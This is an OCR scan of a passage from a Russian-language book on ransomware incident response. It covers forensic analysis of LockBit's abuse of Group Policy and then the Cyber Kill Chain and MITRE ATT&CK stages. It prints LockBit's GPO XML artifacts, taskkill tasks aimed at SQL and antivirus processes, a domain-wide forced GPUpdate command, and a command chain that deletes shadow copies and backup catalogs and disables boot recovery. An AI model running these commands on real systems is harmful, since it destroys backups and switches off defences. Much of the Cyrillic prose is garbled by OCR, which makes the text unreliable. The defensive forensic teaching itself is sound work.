. U3ydeHHe 3/10ynoTpeod/1eHUsI rpyninoBbIMHU
[OJIUTUKAMH

M3MeHeHHEe TPYNITOBBIX MOJUTHUK — METOJ] Pa3BEPThIBAHUS IIPOrpaMM-BbIMOTaTeNICH, KOTOPbIM HAOMPAET BCE
00Jiee MUPOKYIO NOMYJISIPHOCTD CPEAN 3JI0YMBIIIJICHHUKOB.

B 0ONBIIMHCTBE CTy4aeB K MOMEHTY Pa3BEPTHIBAHUS CETh YK€ ITOJHOCTHIO CKOMIIPOMETHPOBAHA, IIOITOMY
3JIOYMBIIIJIECHHUKAM HE COCTaBUT TPYyJa IEPEUTH Ha KOHTPOJIIEP JIOMEHA U 3JI0YIOTPEOUTH IPYIIIOBBIMU
MOJUTUKAMU JIUIS 3aITyCKa IMPOrpaMMbI-BBIMOIaTEsl B MaclITadax BCEro NpeanprsITHS.

bonee Toro, HEKOTOpHIE IPOTrPAMMBI-BEIMOTAaTEIM UMEIOT BCTPOSHHBIE BO3MOXKHOCTH HUCII0JIb30BaHMS
MOJIU(PUKAIUU T'PYIIIOBBIX HOJIUTHK JJISI CAMOCTOSTEIBHOIO PaCIpOCTPaHEHUS. X OPOIINNA IpUMep —
nporpamma-Beimorareiab LockBit.

Bbl MOKETE MOWTH TEM K€ ITyTEM, KOTOPBIM MBI pACCMOTPEIIM PAHEE: HAMIUTE IIEPBOE COOOIIECHHUE C
TpeOOBAHMEM BBIKYIIa U HAYHUTE MPOBEPATH, YTO IIPOMU3OIILIO O TOr0, KAK OHO OBLIO CO374aH0. B aToM
ClIydae MbI BUJIHUM, 9TO OBLI CO3/IaH OUYCHbB ITOJ03PUTEIIBHEIN 00BEKT IpyIIoBoi moautuku (Group

Policy Object, GPO).

. \Windows\SYSVOL\domain\Policies {E97EFF8F-1C38-433C-9715-4F53424B4887} 0 2022-01-16 14:15:49
. \Windows\SYSVOL\domain\Policies.. GPT.INI S6 2022-91-16 14:15:49
. \Windows\SYSVOL\domain\Policies.. Machine 0 2022-91-16 14:15:49
. \Windows\SYSVOL\domain\Policies.. User 0 2022-01-16 14:15:49
. \Windows\SYSVOL\domain\Policies.. Preferences 9 2022-01-16 14:15:49
.\Windows\SYSVOL \domain\Policies.. NetworkShares 9 2022-01-16 14:15:49
\Windows\SYSVOL\domain\Policies.. NetworkShares.xml 7814 2022-01-16 14:15:49
. \Windows\SYSVOL\domain\Policies.. Services 0 2022-01-16 14:15:49
. \Windows\SYSVOL\domain\Policies.. Services.xml 5190 2022-01-16 14:15:49
.\Windows\SYSVOL\domain\scripts 586A97.exe 982528 2022-01-16 14:15:49
. \Windows\SYSVOL\domain\Policies.. Preferences 9 2022-01-16 14:15:49
.\Windows\SYSVOL\domain\Policies.. Files 0 2022-01-16 14:15:49
. \Windows\SYSVOL \domain\Policies.. Files.xml 488 2022-01-16 14:15:49
. \Windows\SYSVOL\domain\Policies.. ScheduledTasks 0 2022-01-16 14:15:49
. \Windows\SYSVOL \domain\Policies.. ScheduledTasks.xml 17735 2022-01-16 14:15:49
. \Windows\SYSVOL\domain\Policies.. Registry.pol 1692 2022-01-16 14:15:49
o |- \Windows\SYSVOL\domain\Policies.. comment.cmtx 543 2022-01-16 14:15:49

. Puc. 11.15. O0BeKT rpynnoBoii NOJIUTHKH, CO3JaHHBIN ITporpammoii-eeiMorareiem LockBit



Kak MBI BUIUM, CO3JaH HOBBIM OOBEKT C TII00aIbHBIM YHUKAIBHEIM naeHTHdukaTopoM (Globally Unique
Identifier, GUID) {E97EFF8F-1C38-433C-9715-4F53424B4887}. boiee Toro, B
namke C:\Windows\SY SVOL\domain\scripts rzaxoauTcs BechbMa NOA03pUTENLHBIN (aitn 586A97.exe.

CrepBa JaBaiiTe pacCMOTPUM HECKOJIBKO (haiIOB pacIIupseMoro s3bika pasmeTku (Extensible
Markup Language, XML). Hampumep, Services.xml cogepxut naGopManmio o ciry’k0ax, KOTOpPhIC CASAyeT

OCTaHOBUTH. BOT BhIAEpIKKA U3 3TOro (paiia.

<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="SQLPBENGINE" image="4" changed="2022-01-16

14:15:49" uid="{94D8973D-A08E-4F28-B7D7-3745321C40A4}"
disabled="0"><Properties startupType="DISABLED"
serviceName="SQLPBENGINE" serviceAction="STOP" timeout="30"/></
NTService>

Crenyronuii daiin, Files.xml, komupyeT nmogo3puTenbHbIi (aitia u3 yKa3aHHON paHee OOIeH ITallKy B
nanky Desktop Ha neaeBom xocte (puc. 11.16).

Haxomnen, dain ScheduledTasks.xml ucrions3yercst mist co3ganus 3amiaHHPOBAHHON 3a4a4u, YTOOEI
OCTaHOBUTH IIEPEUNCIICHHBIE MPOLIECCHI M 3aITYCTUTh UCIIOIHSIEMBIN (paiiia mporpaMMbI-BbIMOrartess (puc

11.17).

. <?xml version="1.0" encoding="utf-8" ?>
- <Files clsid="{215B2E53-57CE-475c-80FE-9EEC14635851}">
- <File clsid="{50BE44C8-567A-4ed1-B1D0-9234FE1F38AF}"
name="6A03166BAA4F6EO1" status="6A03166BAA4F6EO1" image="2"
bypassErrors="1" changed="2022-01-16 14:15:49" uid="{06428C83-6843-42EF-
8C68-E93D8SABC94E3}">
<Properties action="U"

fromPath="\ \baxter.com)\sysvol\ baxter.com\scripts\586A97.exe"
targetPath="% DesktopDir%)\586A97.exe" readOnly="0" archive="1" hidden="0"
suppress="0" />
</File>
</Files>

Puc. 11.16. Conmepxxumoce ¢aiina Files.xml

| - <Exec>
<Command>C:\Windows\System32\taskkill.exe</Command>
<Arguments>/IM "Sqlservr.exe" /F</Arguments>

</Exec>

<Exec>
<Command>C:\Windows\System32\taskkill.exe</Command>
<Arguments>/IM "RTVscan.exe" /F</Arguments>

</Exec>

<Exec>
<Command>C:\Windows\System32\taskkill.exe</Command>
<Arguments>/IM "sqlbrowser.exe" /F</Arguments>

</Exec>

<Exec>
<Command>C:\Windows\System32\taskkill.exe</Command>
<Arguments>/IM "tomcat6.exe" /F</Arguments>

</Exec>

<Exec>
<Command>C:\Windows\System32\taskkill.exe</Command>
<Arguments>/IM "QBIDPService.exe" /F</Arguments>

</Exec>

Puc. 11.17. ®parment crmcka npoueccoB u3 ScheduledTasks.xml

Emie oquna npuMedaTeabHbIi ¢aiir — Registry.pol. On comepxut nHpopmaiyio 00 H3MESHEHHUIX peecTpa sl
OTKJIIOYEHMS pA3IMYHbIX PyHKIMN 3amuTHUKAa Windows, 4TOOBI TOT HE MOT IIpepBaTh MPOIIECC
I (ppoBaHMUsL.

MbI MOKEM HCIOJIb30BaTh Xell (haitiia 986A97.exe, uToObl NONBITAThC UACHTUUIUPOBATh ero (puc. 11.18).



5 8 @ 58 security vendors and 4 sandboxes flagged this file as malicious C\*‘ C‘la

/ 67

717585e9605ac2a971b7c7537ebe311bab9db02eccé451eOefada9b2ff38b474 959.50 KB 2021-11-06 07:12:35 UTC %L

name.exe Size 2 months ago EXE

?
calls-wmi  cve-2014-3931 detect-debug-environment  direct-cpu-clock-access exploit invalid-rich-pe-linker-version long-sleeps peexe persistence runtime-modules

% Community
Score

DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY o

Acronis (Static ML) @ Suspicious Ad-Aware @ Trojan.Generic.30040675

AhnLab-V3 (D) Trojan/Win.Generic.C4565305 Alibaba (1) Ransom:Win32/Lockbit.d2ecddd?
AlYac @ Trojan.Ransom.LockBit Antiy-AVL @ Trojan/Generic.ASMalwS.345442C
Arcabit @ Trojan.Generic.D1CA6263 Avast @ Win32:LockBit-A [Ransom]

AVG (1) Win32:LockBit-A [Ransom] Avira (no cloud) (D) TR/Crypt.XPACK.Gen

BitDefender @ Trojan.Generic.30040675 BitDefenderTheta @ Gen:NN.ZexaF.34266.7mW@aqwWnog
Bkav Pro @ W32.AlDetect.malware1 CAT-QuickHeal @ Trojan.LckbitRnsm.S21641235

ClamAV (1) WinTrojan.Obfus-43 CrowdStrike Falcon (1) Win/malicious_confidence_100% (W)
Cylance @ Unsafe Cynet @ Malicious (score: 100)

Puc. 11.18. 3anucu o nogo3puTeabHOM (hamniie

Wtak, Tenepb Mbl TBEPJI0 3HAEM, YTO CTOJIKHYJIUCH ¢ mporpaMmmon-BeiMorareneM LockBit. ITpogomxas
KPUMUHATMCTUYECKUI aHAJIM3, 3alJITHEM B JKypHaibl coObiTuid Windows, cBsizaHHble ¢ PowerShell, u nalinem
3aIliCh, M300pakKeHHYIO Ha pucyHke 11.19.

(@) Information 16.01.2022  |17:17:02 600 PowerShell
@ Information 116.01.2022 17:17:02 600 |PowerShell
<
& | Provider Registry" s Started.
(2l
g Details:
g' ProviderName =Registry
NewProviderState =Started
SequenceNumber=1
HostName =ConsoleHost

HostVersion=5. 1. 14393.693
Hostld=d3b7888f-3ffb-4251-bc4a-21cb 1f377efa
HostApplication=powershell.exe -Command Get-ADComputer -filter * -Searchbase 'DC=baxter, DC=com' | foreach{ Invoke-GPUpdate -computer $_.name -force -RandomDelayInMinutes 0}
EngineVersion=

Runspaceld=

Pipelineld=

CommandName =

CommandType=

ScriptName =

CommandPath=

CommandLine=

Puc. 11.19. Ilogo3putenbHas 3anuch B )xypHanax coobituii PowerShell Windows

Kak Mbl BuauM, LockBit 3noynotpebiisier PowerShell, yToObl npuHYAUTEIbHO OOHOBUTH I'PYIIIOBBIC
OJIUTHKH.

JlaBaiiTe MOCMOTPHUM Ha caMy IIporpammy-BbiMorarenb LockBit.

. 00630p nporpammseI-BbiIMOrareJisi LockBit

Ilepen HavanoM npolecca mu@poBanus nporpamma-Beimorareiab LockBit octanaBianBaeT npouecchl U
CIyKObI U3 BCTPOCHHOI'O CHHMCKA, a TAKXKE OJJOKUPYET BOCCTAHOBJIICHHUE CUCTEMBbI, BBIIOIHSIS CIACIYIOIINE
KOMAaH/IbI:



vssadmin delete shadows /all /quiet & wmic shadowcopy delete
& bcdedit /set {default} bootstatuspolicy ignoreallfailures
& becdedit /set {default} recoveryenabled no & wbadmin delete
catalog -quiet

. LockBit ucnone3yer mudpp AES-128 B pexxume CBC mist mmdpoBanus ¢aitnoB Ha meiaeBoM xocte. OHa
nobasmser pacmmpenue .lockbit k kaxxmomy 3ammbpoBanHOMY (aiiay ¥ MEHSIET UX 3HAUKH.

. IIporpamma-BbeIMOraTeilb TakkK€ MEHSET (POHOBOE M300pakeHHE padOYEro CToja Ha CIEAYIOIIEE:

' 3 LOCK[EIIFXY

AR (8]0 33 IMPORTANT FILESPEAN{ASTOLEN AND ENCRYPTED!

All your files stolen and encrypted
for more information see
RESTORE-MY-FILES.TXT
that is located in every encrypted folder.

You can provide us acogunting data for the acoess 1o any compar
N

Puc. 11.20. ®onooe nzoopaxenue LockBit 2.0

LockBit coznaeT cooOliieHus ¢ TpedOBaHMEM BbIKYIIA B KaXKJI0M IManke ¢ 3ainppoBaHHLIMU (hailnaMH.
daiinpl ¢ coobIIeHUsIMU ¢ TpeboBaHKeM Bhikyna uMmeroT umsa RESTORE-MY-FILES.txt.

[Iporpamma-BeiMorarens LockBit Tak:ke MOKET co371aBaTh 0OBEKTHI TPYIIIOBOM MOJIMTUKH, YTOOBI
OTKJIFOYATh AaHTUBHUPYCHOE MTPOrPpaMMHOE 00ECIIEUEHHE, 3aBEPIIATH CITMCOK MPOIIECCOB U PACIPOCTPAHSATH
ceosl.

. BBIBOIbI

.HI/II_[a, CBA3AaHHBIC C IIpOIrpaMMaMu-BbIMOI'aTCIsIMHA, B 3dBUCHUMOCTH OT CBOMX HABBIKOB U ueﬂeﬁ HCIIOJIB3YIOT
pa3JIndHbIC MCTOAbI AJIA PACIIPOCTPAHCHHUS BPCIOHOCHOI'O KOJAd B Macmradax IPpCAIIPUATHAL.

B aT0M 171aB€ MBI PACCMOTPENIM CaMbI€ PACHPOCTPAHEHHBIE METO bl PA3BEPTHIBAHUS IIPOrPAMM-BBIMOTATEIEN
Ha OPEANpPUITHIX, HA0II0JaeMbI€ B COBPEMEHHBIX aTaKax, YIpaBJIsIEMbIX YEJIOBEKOM, U Y3HAIM, KaK
MCIOJIb30BaTh Pa3IMYHbIC KPUMHUHAIMCTHYECKUE apTe(PaKThI JAJ1s1 OOHAPYKEHUS aTaKu U €€ PEKOHCTPYKIIMHU.

[TOCKOJIbKY MBI YK€ MHOTO 3HAEM O TOM, KaK pearupoBaTh HA aTaKU C UCIIOJIL30BAHUEM IIPOTrpaAMM-
BBIMOTaTeJICH U OOHAPYKUBATh PA3JIMYHBIE METO/IbI 3JI0YMBIIIJICHHUKOB, MOYKHO ITOJIBECTH UTOTH U
IPEICTaBUTh YHU(PUIIUPOBAHHBIN )KU3HEHHBIM IIMKJI aTaK C UCIOJIb30BAaHUEM IIPOrpaMM-BbIMOIaTEICH.

B nocneaHel rinaBe Mbl paCCMOTPUM pa3IMUHbIC )KU3HEHHBIE HUKJIBI, B TOM uncie Cyber Kill Chain, MITRE
ATT&CK u Unified Kill Chain, a Takke paccMOTpUM YHU(PUIIUPOBAHHBIN KU3HEHHBIN 1IUKJI, XapaKTePHbIN
IS aTaK ¢ UCIIOJIb30BaHueM nporpaMm-BeiMorareneit — Unified Ransomware Kill Chain.

[naBsa 12

YHUOUIMPOBAHHbBIN
"KNU3HEHHBIU LIUKJI ATAK C



NUCITIOJB30BAHUEM
IMPOT'PAMM-BBIMOTI'ATEJIEA

Terneps Bl MHOTOE 3HAETE O TOM, KaK JICUCTBYIOT 3JIOYMBIINUIEHHUKA HA PA3JIMYHBIX dTAlaX XU3HEHHOTO [UKJIA
aTak MporpaMM-BbIMOIaTENICH, YIIPABIIEMBIX YEIOBEKOM. MBI 00CYIMIIN, KaK NOJIy4aTh U UCIIOJIb30BATh 3HAHUS
0 KMOepyrpo3ax, Kak coOMparh JaHHBIC U3 PA3JTUNYHBIX HCTOYHUKOB U KAK BBITOJIHATH KPUMHUHAUITMCTUYECKUN
aHaJIN3 MA(PPOBBIX JAHHBIX, YTOOBI PEKOHCTPYUPOBATH PA3JIMYHBIC ATAIIbI ATAK B XOJ€ pearupoBaHus Ha
WHIIUJICHTEL.

B 5101 rinaBe Mbl 000OIIMM BCE 3TU 3HAHUS, PACCMOTPEB Pa3JIMYHbIC JKU3HCHHBIC IIUKJIbI aTaK, U CHOPMUPYEM
YHU(PUIIMPOBAHHBIN )KU3HEHHBIN IIUKJI ATaK C UCIIOJIb30BAHUEM MPOTPAMM-BBIMOTATEIIEH.

MBI pacCMOTPHUM CJIeAYIOLIHE TeMBbI:

. Cyber Kill Chain®.

. MITRE ATT&CK®.

. Unified Kill Chain.

. Unified Ransomware Kill Chain.

Cyber Kill Chain®

Cyber Kill Chain® 0s11a npeacrabnena kommnanueit Lockheed Martin kak gacte moaenu Intelligence Driven
Defense®. DTa Mojiellb onrcaHa B OPUIIMAIbHOM JOKYMEHTE «3alluTa KOMIBIOTEPHOM CETH HA OCHOBE
pa3BCIaIaHHBIX, CO6paHHI)IX IIPHU AHAJIN3C KaMOaHuU 3JIOYMBIIVNICHHHUKOB W JKU3HCHHbLIX ITNKJIOB BTOp)KCHHfI»
(Intelligence-Driven Computer Network Defense Informed by Analysis of Adversary Campaigns and Intrusion
Kill Chains, https://www.lockheedmartin.com/content/dam/lockheed-martin/rms/documents/cyber/LM-White-
Paper-Intel-Driven-Defense.pdf).

CornacHo stomy gokymeHTy, Cyber Kill Chain® cocTouT 13 clieayrommux CEMH TAIloB.

. Pa3Beaka.

. [loarotosKa.

. JlocTaBKa.

. JKCcnayaTtauma.

. YCTaHOBKa.

. YnpaBaeHue 1 KOHTPOb.
. LeneBble pencraus.

PaccMoTpuM Kakabli ATan 0oJjiee moapoOHo.

Pa3Beaka

Ha 3ToM 3Tamne 310yMBIILICHHUKHA COOUPar0T MH(OPMAIIUIO O LICIU, n3y4das BeO-CalThl U COIlUAIbHBIC CETH, a
TaK)Ke COOCTBEHHO 11€JIEBYI0 HH(PACTPYKTYPY — OCOOCHHO €€ OOIICAOCTYIMHYIO YacTh. Tak:ke Ha 3TOM dTare
OIepaTophl IIPOrpaMM-BBIMOTaTeIeH MOT'YT OOIIAThHCI ¢ OpOKepaMu IIepPBOHAYATIBHOIO JOCTYNa U COOUPATh
HH(GOPMAIIMIO 0 J0X0aX OymyIiel >KepTBbl — OHa HY)KHa JJIS ONPEASICHUS CYMMBI BEIKYIIA.

DTan pa3BeJKU CUILHO HEA0OIeHEH. YacTo 3JI0YMBIIIICHHUK M3y4aeT NOTEHIIUAIbHYIO KEPTBY B TCUCHHUE
HeJIeJIb WJIHM MECSIIEB, a HHOTAa — M JIET. DTO AEJIaeTCs HE TOJBKO JIJI TOTO, YTOOBI TOIYUYHUTh MOJIHYIO
BHEIIHIOI KapTUHY, HO U JJIs1 TOTO, YTOOBI U3YYUTh OCOOCHHOCTH padOThI OM3HECA 1IEIIH.



IloarorToBka

B noxymente Lockheed Martin onucan npoiecc noAroTOBKH BPEAOHOCHOIO JOKYMEHTA, KOTOPBIM BIIOCJICACTBUA
TOCTABJISIETCS MyTEM IieseBoro ¢pumuHra. Kpome Toro, oneparopaM nporpaMM-BbIMOTaTEIIEH MOTYT
OTPEOOBATHCS SKCIJIOWTHI, TOAXOISIINAE I HOTYYEHUS HAYJIBHOTO OCTYIIA, TOBBIIICHUS TPUBWIETUN WU,
HaIpUMEDP, TOPU3OHTAITBHOI'O MEPEMEIIEHUSA T10 CETU. TaKKe OHU 3aHUMAIOTCS OJATOTOBKOU U HACTPOUKOU
cepBepoB (Hanpumep, Cobalt Strike) n BBIOOpOM MOAXOAAIMINX HHCTPYMEHTOB TSI TNTAHUPYEMOW aTaKH.

/locTaBKa

Ha 5ToM 3Tane BBITOJTHAETCS TOCTaBKA BPEIOHOCHBIX HHCTPYMEHTOB, B JIOKYMEHTE ONMCAH UCITOJIb3YEMbIN IS
3TOr0 METOJ.

DTOT 3Tal MOXKHO pa3JIelInTh Ha JBa. [lonbp30BaTessM IporpaMM-BEIMOTaTeNIei MOXKET MOTPeOOBATHCS JOCTABHUTh
00T, HHCTPYMEHT yAajaeHHOTO noctyma (remote access tool, RAT) / TposH niau, HanpuMep, BeO-IIeIT s
MOJIYYCHMS IIEPBOHAYAILHOIO JOCTYIIA, a 110 3aBEPIICHUH ITOCTIKCILIyaTallMi U KPaKU JaHHBIX UM HY)KHO OyIeT
pa3BEPHYTH IIPOrpaMMYy-BbIMOTaTECIb.

B HEKOTOPBIX ClIydyasx Ha ATOM dTale MOXKET OBITh 3aJIeCTBOBAHA OT/ACIbHAs KOMaH/1a 3JI0YMBIIIJICHHUKOB,
BKJIFOUas OpoKepa nepBOHAYaIbHOIO JOCTYIIA.

JlocTaBKa — 3TO YacTh KU3HEHHOIO IIUKJIA aTaku. J[pyron pacrpoCTpaHEHHBIM METO] — YCTAHOBKA
JOIOJIHUTEILHOM JIa3€MKU Tepe] pa3BepThiBaHMEeM. Kak Mbl BUI€/IM, OOJIBIIMHCTBO COBPEMEHHBIX
3JI0YMBIIIJICHHUKOB OPHUOETal0T K 3TOMY, YTOOBI OBITh YBEPEHHBIMHU B TOM, UTO OHHM HE IIOTEPSIOT COCAUHCHHUE
WA HE OyIyT 3a0JJ0KMPOBaHBI.

JKCILIyaTalusa
OOBIYHO ATOT ATAIl CBS3aH C KCIUTyaTallMe ySI3BUMOCTEH JJIs 3aIyCKa MHCTPYMEHTOB.

Pazymeercs, BBl HIOMHUTE 00 ysI3BUMOCTSIX, CBsI3aHHBIX ¢ Microsoft Office, Microsoft Exchange n npyrumum
nporpaMMamMu, HO MIOMHUMO HHX 3JIOYMBIIUIECHHUKH MOTYT MOJIb30BATHCS YETOBEUECKUMU YA3BUMOCTSIMHU,
MPUMEHSS IJIS1 5TOr0 MHOKECTBO METOJ0B, OCHOBAaHHBIX HA (DUILIMHTE.

KpoMe Toro — oco0eHHO KOrjia pe4b UAET O pa3BEPTHIBAHUM MIPOTrPAMM-BBIMOIaTEICH — 3JI0YMBIIIJICHHUKH
MOT'YT MCIIOJIb30BaTh pa3IMYHbIC BCTPOCHHBIE (DYHKIIMHU U «IIOJAPYYHBIC CPEJACTBA», TO €CTh UMEIOIIUECS
()YHKIIMH B3JIOMAHHBIX CUCTEM, YTOOBI OOOMTH 3alIUTY U JICMCTBOBATh HE3aMETHO.

YcraHoBKa

Ha sToMm atane 3;710yMbINUIEHHUKA JOJIKHBI 3aKPENUTh IOCTABJICHHBIE HHCTPYMEHTHI B CKOMIIPOMETUPOBAHHOMN
CHCTEME, YTOOBI 00ECIICUNTh PE3ECPBHBIN TOCTYII K HEW. Peub ueT He 0 KaKOKM-TO OJJHOM IPOrpaMMHOM 3aKJajIKe,
a 00 OOIIMPHOM HA0OPE MHCTPYMEHTOB. 3JIOYMBIIIJICHHUKHA MOTYT BOCIIOJIb30BAaThCSl YYETHBIMU JTAHHBIMU K
OOIIEIOCTYIIHBIM CEpPBEpPaM, opranu3oBaTh VPN-10CTyIl K CKOMIIPOMETUPOBAHHON CETH, YCTAHOBUTH
JIETUTUMHOE IPOrpaMMHOE 00€CIICUEHHE JJI YAaJICHHOr0 IOCTyNa U T.]I.

Ba)KHO, 9TO HaA 3TOM 3TalIC MOZKCT CYIHICCTBOBATb HCCKOJIBKO YCTAHOBOK HHCTPYMCHTOB M HCCKOJIBKO pa60q14x
KaTaJIOI'OB, BKJIFOYAs (I)aJ'IBH_II/IBBIG KaTaJIOT'H, KOTOPBLIC CO31at0TCA, yTOOLI OTBJICYD ClICaJInCTAa 110
p€arupoBaHrIO OT HHCTPYMCHTOB, IPCAHA3HAYCHHbIX IJIA «00EBOT0Y» UCIOJIE30BAHMSL.

YHpaBﬂeHne U KOHTPOJIb

[Tocne ycnemHoM yCTaHOBKH 3J10YMBIIIICHHUKH JIOJDKHBI 00€CHEUUTh BO3MOXKHOCTh B3aUMOJIEHCTBUS CO
CKOMIIPOMETUPOBAHHBIM XOCTOM H3BHE.

Kak BBI yK€ 3HaeTe, OnepaTopsl MPOrpaMM-BbIMOIATENIEH MOTYT UCITOJIb30BaTh Pa3INYHbIC MHCTPYMEHTHI U
TeXHOJI0Tun: 00Tk, RAT, BeO-11€/IbI ¥ 1aKe JIETUTUMHOE MPOTrpaMMHOE 00eCTIeUeHUE 1Sl YIAJICHHOTO
nocryna. To, Kakue MMEHHO KaHaJIbl KOMMYHHUKAIIMKU Oy1yT 3aJ€CTBOBaHbl, BO MHOI'OM 3aBUCUT OT
MPEANOYTEHUH 3JI0YMBIIIJICHHUKOB.

Iles1eBbIe AeMCTBUS

Ha sToMm 3Tane onuchIBaroTCs BCE I[GflCTBHH, IPpCAIIPUHUMACMBIC 3JIOYMbLIIIINICHHUKAMU JJI51 JOCTHUKCHUA
ITOCTABJICHHbBIX Heneﬁ. OH 0XBaTBHIBACT BECh IMpoHcCC MMOCTIKCILTYAaTAllUN U MOKCT BKJIIOYATh ITOBBIIICHHUC



MIPUBWJIETUM, IOCTYII K YYETHBIM JAHHBIM, TOPU3OHTAIILHOE MIEPEMEIIICHUE, A TAKKE KPAXKY JAHHBIX U
pa3BEPTHIBAHUE MTPOTPAMM-BBIMOTATEIIEH.

Cyber Kill Chain® ObL1a pazpadoTaHa 10BOJILHO JABHO M B HACTOSIIEE BPEMS YK€ HECKOJIBKO ycTapela,

MTOCKOJIBKY OMHMCBIBAECT MPEUMYIIIECTBEHHO Ha4YaIbHBIN 3TAll aTaku. PaccMoTprM 00J1ee COBPEMEHHYIO BEPCHUIO —
MITRE ATT&CK®.

MITRE ATT&CK®

ATT&CK — 310 rinobdanbHO AOCTYyMmHAas 0a3a 3HaHUM O CTpaTErusIX U Mporeaypax 3J10yMBIIIICHHUKOB,
OCHOBaHHas Ha pealibHbIX HaOmoaeHusx. Ona pazpadorana u nogaepxuaerca koprnopanuern MITRE mpu
Y4aCTHU II100aJIbHOTO COO0IIECTBA KHOEPOE30MTACHOCTH.

MBI yxe€ CChUIaUCh Ha 3Ty 0a3y 3HAaHUU B 3TOW KHUTE. Sl pEKOMEHIYI0 O3HAKOMUTHCS ¢ JOKyMEHTOM «MITRE

ATT&CK®: mu3zaita u punocodpus» (MITRE ATT&CK®: Design and
Philosophy, https://attack.mitre.org/docs/ATTACK Design_and Philosophy March 2020.pdf).

B MITRE ATT&CK® omnmcano 14 TakTHYECKUX JICHCTBHAM MPECTYITHUKOB:

. Pa3seaka.

. [loaroToBKa pecypcos.

. lMepBoOHa4YanbHbIN AOCTYN.

. BblInonHeHwue.

. 3aKpenneHwue.

. lMoBblweHne NnpuBuNeErnn.

. Obxoa 3aWmThI.

. JlocTyn K y4eTHbIM AaHHbIM.
. ObHapyKeHue.

. fTopu30oHTaNbHOE NepemelleHNE NO CETH.
. Cbop AaHHbIX.

. YnpasaeHne 1 KOHTPOb.

. Kparka gaHHbIX.

. Bo3pencrtsue.

PaccmMoTpuM Kaxxoe IEUCTBUE OTAEIbHO.

Pa3Beaka

[IpecTtynHuk cooupaeT nHdopmalo o neiad. Kak oocyxaanock paHee, 3JI0yMBIIIEHHUKHA MOTYT UCIIOJb30BaTh
VIS CO3AaHMs PO NOTCHIIMAIbHOM KEPTBBI U MOJTYyUYEHHSI HHPOpMallMK, HEOOXOAMMOM JIJ1s Havajla aTakH,
KaK MaCCUBHBIE, TAK U AKTUBHBIE METO/IHI.

Ecth MHOI0O cioco00B pa3BeAaku. OHU B3JIOMIIMKH IPEANOYNTAIOT UCIIOJIb30BaTh HHCTPYMEHTHI IBOMHOIO
Ha3HAYCHUS, B TO BpeMs KaK APYrue BCe JACIaT BPYUYHYIO — 3TO 3aBUCHUT OT TOT0, 4YTO OyaeT 3(h(hEeKTUBHEE
paboTaTh B K&KJ0M KOHKPETHOM ClIydac.

[loaroroBKa pecypcosB

DTO OTAEJbHBIM ATal, HA KOTOPOM 3JI0YMBIIIUICHHUKH 3aHUMAOTCS OJATOTOBKON HHPPACTPYKTYPhl —
HAaCTPanBaIOT CEPBEPbI, PETUCTPUPYIOT JIOMEHBI, TOTOBST (DMITMHIOBBIC ITHUCHhMA, MOJIYy4aloT MPOrpaMMBbl-
BBIMOTATEIIN UIHA APYTUE BUJIbI BPEIOHOCHBIX NPOTrpaMM M HHCTPYMEHTOB OT CTOPOHHHUX ITOCTABIIMKOB U T. .

HepBOHaanIbeIﬁ AOCTVII

310yMBILIJIECHHUKH, B TOM YHUCJIE JIMIIA, CBA3aHHBIC C IPOrpaMMaMHU-BbBIMOTaTEIIsIMU, MOT'YT UCIOJIb30BaTh
pa3IMYHbBIC METO/IbI 1JIS MOJYUYEHHS IEPBOHAYAILHOTO JOCTYIIA K 11eJIeBoM ceTu. Kak BbI yKe 3HaeTe, OHU MOT'YT
HCIOJIb30BaTh OOIEI0CTYIIHbIC MPUI0KEHHUS, 11EJE€BOM (PUILIMHT, a TAKXKE 3JI0YIOTPEOJISITh CIyKO0aMu
yAaJ€HHOT'O JIOCTYIAa WH JOBEPUTEILHBIMUA OTHOLICHUSIMH JIJISI IIEpEX0a U3 OJJHOM CKOMIIPOMETHPOBAHHOMN

CETH B IPYTYIO.



BeInnoJIHEeHUe

B TedueHure KM3HEHHOTO ITUKJIA aTAKH 3JIOYMBIIIJICHHUKAM HEOOXOAMMO 3allyCKaTh Pa3IMYHbIe KOMaHbI 1
OuHapHbI€ (harJIbl. ITO MOTYT OBITh HHCTPYMEHTHI, 3aIPY>KEHHBIC U 3aITYIIICHHBIEC C TOMOIIBI0 BPEIOHOCHBIX
MAKpOCOB, BCTPOCHHBIX B JOKyMeHT Microsoft Office, paznnunbie pa3BeabIBaTEIbHBIC KOMaHIbl, BHIIOJTHIEMBIE
yepes BeO-1IeIUT, U ABOUYHBIN (DaliI MPOTrpaMMBbI-BBIMOTATEN, 3aITyCKAEMbIM Ha YAAJTCHHOM XOCTE C IIOMOIIBIO
PsEXxec.

3aKpeIlieHue

B3yioMiyrkaM HYKHO YJIEPKUABATH 3aHATHIEC TTO3ULMH. {1 pe3€pBHOTO AOCTYIIA K B3JIOMAHHOW CETU OHU MOTYT
MCII0JIb30BATh KaK JIETUTUMHOE ITPOrPpaMMHOE OOECIICUEHHE YAAIICHHOIO JOCTYIIAa, TaK U 00JIee TPaIUIIUOHHBIE
METO/bl COXPAHEHUS IIPU NEPE3Arpy3Ke, HAMPUMEDP PEIAKTUPOBAHUE PEECTPA WIIH CO3JaHUE 3AIIAHUPOBAHHBIX
3a7a4.

[loBbIIEeHH e IPUBUJIETUIA

Bo MHOruMX citydasx it 3p(EKTUBHOrO 3aMycKa JICMCTBUH MOCTAIKCIUTyaTAlluM 3JI0YMBIIIJICHHUKAM HE XBaTa€T
MIPUBUJIETUN — & 3HAYUT, UX HY>KHO MOBBICUTH. 1714 3TOr0 oneparopsl NPOrpaMM-BbIMOTaTeNIEd MOTYT
MCIOJIb30BaTh Pa3IMYHbIC OITUOKM KOH(PUTYPALIMHU U YI3BUMOCTH, & TAKKE HEKOTOPBIE METObI 3aKPETIIICHMUS.

006x04 3alIUThI

Pa3BepThIBaHUE MPOTrpaMM-BbIMOTaTEICH MPAKTUUECKA HEBO3MOXKHO 0€3 OTKJIIOYEHHUS ITPOIYKTOB OE30MaCHOCTH,
YCTAHOBJICHHBIX B 11€JIEBOM ceTU. bojiee Toro, Ha NMPOTIKEHUU BCETO )KM3HEHHOIO IIUKJIa aTaKu
3JIOYMBIIIJICHHUKAM PUXOAUTCS U30eraTb 0OHAPYKEHUS, IOATOMY OHHU 3allyThIBAIOT/IIU(PYIOT CBOU
WHCTPYMEHTHI U YIAISIOT YIUKU U (DallJIbl 5KYPHAJIOB, YTOOBI 3aTPYJHUTH PACCIEIOBAHUE U MPOIECC
pearupoBaHusl.

AOCTYH K YV4€THBIM JdHHbBIM

